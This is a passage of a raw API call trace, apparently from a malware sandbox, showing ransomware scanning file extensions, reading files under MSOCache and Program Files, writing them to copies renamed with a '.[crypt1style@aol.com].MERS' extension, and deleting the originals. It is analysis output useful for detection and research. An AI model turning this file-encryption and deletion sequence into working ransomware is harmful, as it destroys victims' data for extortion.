lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.424] lstrlenW (lpString=".dbf") returned 4 [0035.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.424] lstrlenW (lpString=".1cd") returned 4 [0035.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.424] lstrlenW (lpString=".jpg") returned 4 [0035.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.424] lstrlenW (lpString=".doc") returned 4 [0035.424] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.424] lstrlenW (lpString=".docx") returned 5 [0035.424] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.424] lstrlenW (lpString=".pdf") returned 4 [0035.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.424] lstrlenW (lpString=".xls") returned 4 [0035.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.424] lstrlenW (lpString=".xlsx") returned 5 [0035.425] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.425] lstrlenW (lpString=".ppt") returned 4 [0035.425] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.425] lstrlenW (lpString=".zip") returned 4 [0035.425] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.425] lstrlenW (lpString=".rar") returned 4 [0035.425] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.425] lstrlenW (lpString=".bz2") returned 4 [0035.425] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.425] lstrlenW (lpString=".7z") returned 3 [0035.425] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.425] lstrlenW (lpString=".dbf") returned 4 [0035.425] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.425] lstrlenW (lpString=".1cd") returned 4 [0035.425] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.425] lstrlenW (lpString=".jpg") returned 4 [0035.425] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.425] lstrcmpiW (lpString1=".chm", lpString2=".MERS") returned -1 [0035.425] lstrlenW (lpString="setup.chm") returned 9 [0035.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.632] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=67190) returned 1 [0035.632] CloseHandle (hObject=0x1ec) returned 1 [0035.632] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0035.632] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.632] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.632] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.632] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.633] GetLastError () returned 0x0 [0035.633] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x10676, lpOverlapped=0x0) returned 1 [0035.642] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0035.643] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.644] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.644] SetEndOfFile (hFile=0x1d8) returned 1 [0035.644] CloseHandle (hObject=0x1d8) returned 1 [0035.645] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.645] SetEndOfFile (hFile=0x1ec) returned 1 [0035.646] CloseHandle (hObject=0x1ec) returned 1 [0035.648] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.648] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0035.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.649] lstrlenW (lpString=".doc") returned 4 [0035.649] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.649] lstrlenW (lpString=".docx") returned 5 [0035.649] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0035.649] lstrlenW (lpString=".pdf") returned 4 [0035.649] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.649] lstrlenW (lpString=".xls") returned 4 [0035.649] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.649] lstrlenW (lpString=".xlsx") returned 5 [0035.649] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0035.649] lstrlenW (lpString=".ppt") returned 4 [0035.649] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.649] lstrlenW (lpString=".zip") returned 4 [0035.649] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.649] lstrlenW (lpString=".rar") returned 4 [0035.649] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.649] lstrlenW (lpString=".bz2") returned 4 [0035.649] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.649] lstrlenW (lpString=".7z") returned 3 [0035.649] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.649] lstrlenW (lpString=".dbf") returned 4 [0035.649] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.649] lstrlenW (lpString=".1cd") returned 4 [0035.649] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.649] lstrlenW (lpString=".jpg") returned 4 [0035.649] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.650] lstrlenW (lpString=".doc") returned 4 [0035.650] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.650] lstrlenW (lpString=".docx") returned 5 [0035.650] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0035.650] lstrlenW (lpString=".pdf") returned 4 [0035.650] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.650] lstrlenW (lpString=".xls") returned 4 [0035.650] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.650] lstrlenW (lpString=".xlsx") returned 5 [0035.650] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0035.650] lstrlenW (lpString=".ppt") returned 4 [0035.650] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.650] lstrlenW (lpString=".zip") returned 4 [0035.650] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.650] lstrlenW (lpString=".rar") returned 4 [0035.650] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.650] lstrlenW (lpString=".bz2") returned 4 [0035.650] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.650] lstrlenW (lpString=".7z") returned 3 [0035.650] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.650] lstrlenW (lpString=".dbf") returned 4 [0035.650] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.650] lstrlenW (lpString=".1cd") returned 4 [0035.650] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0035.650] lstrlenW (lpString=".jpg") returned 4 [0035.650] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.651] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.651] lstrlenW (lpString="AccessMUI.xml") returned 13 [0035.651] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0036.010] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1349) returned 1 [0036.010] CloseHandle (hObject=0x1e4) returned 1 [0036.010] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0036.010] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0036.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0036.011] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.011] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0036.011] GetLastError () returned 0x0 [0036.011] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x545, lpOverlapped=0x0) returned 1 [0036.033] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x550, lpOverlapped=0x0) returned 1 [0036.034] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.034] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0036.034] SetEndOfFile (hFile=0x1f0) returned 1 [0036.034] CloseHandle (hObject=0x1f0) returned 1 [0036.035] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.035] SetEndOfFile (hFile=0x1e4) returned 1 [0036.036] CloseHandle (hObject=0x1e4) returned 1 [0036.036] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0036.036] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0036.036] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.037] lstrlenW (lpString=".doc") returned 4 [0036.037] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString=".docx") returned 5 [0036.037] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.037] lstrlenW (lpString=".pdf") returned 4 [0036.037] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString=".xls") returned 4 [0036.037] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString=".xlsx") returned 5 [0036.037] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.037] lstrlenW (lpString=".ppt") returned 4 [0036.037] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.037] lstrlenW (lpString=".zip") returned 4 [0036.037] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.037] lstrlenW (lpString=".rar") returned 4 [0036.037] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString=".bz2") returned 4 [0036.037] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString=".7z") returned 3 [0036.037] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.037] lstrlenW (lpString=".dbf") returned 4 [0036.037] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.037] lstrlenW (lpString=".1cd") returned 4 [0036.037] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.037] lstrlenW (lpString=".jpg") returned 4 [0036.037] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.037] lstrlenW (lpString=".doc") returned 4 [0036.037] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.038] lstrlenW (lpString=".docx") returned 5 [0036.038] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.038] lstrlenW (lpString=".pdf") returned 4 [0036.038] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.038] lstrlenW (lpString=".xls") returned 4 [0036.038] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.038] lstrlenW (lpString=".xlsx") returned 5 [0036.038] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.038] lstrlenW (lpString=".ppt") returned 4 [0036.038] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.038] lstrlenW (lpString=".zip") returned 4 [0036.038] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.038] lstrlenW (lpString=".rar") returned 4 [0036.038] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.038] lstrlenW (lpString=".bz2") returned 4 [0036.038] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.038] lstrlenW (lpString=".7z") returned 3 [0036.038] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.038] lstrlenW (lpString=".dbf") returned 4 [0036.038] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.038] lstrlenW (lpString=".1cd") returned 4 [0036.038] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0036.038] lstrlenW (lpString=".jpg") returned 4 [0036.038] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.038] lstrcmpiW (lpString1=".JPG", lpString2=".MERS") returned -1 [0036.038] lstrlenW (lpString="MS.JPG") returned 6 [0036.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.503] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1061) returned 1 [0037.503] CloseHandle (hObject=0x1f0) returned 1 [0037.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0037.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0037.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.503] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.503] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0037.504] GetLastError () returned 0x0 [0037.504] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x425, lpOverlapped=0x0) returned 1 [0039.397] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x430, lpOverlapped=0x0) returned 1 [0039.734] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.734] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0039.734] SetEndOfFile (hFile=0x1f4) returned 1 [0039.734] CloseHandle (hObject=0x1f4) returned 1 [0039.735] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.735] SetEndOfFile (hFile=0x1f0) returned 1 [0039.736] CloseHandle (hObject=0x1f0) returned 1 [0039.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0039.736] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0039.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.736] lstrlenW (lpString=".doc") returned 4 [0039.736] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0039.737] lstrlenW (lpString=".docx") returned 5 [0039.737] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0039.737] lstrlenW (lpString=".pdf") returned 4 [0039.737] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0039.737] lstrlenW (lpString=".xls") returned 4 [0039.737] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0039.737] lstrlenW (lpString=".xlsx") returned 5 [0039.737] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0039.737] lstrlenW (lpString=".ppt") returned 4 [0039.737] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0039.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0039.737] lstrlenW (lpString=".zip") returned 4 [0039.737] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0039.737] lstrlenW (lpString=".rar") returned 4 [0039.737] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0039.737] lstrlenW (lpString=".bz2") returned 4 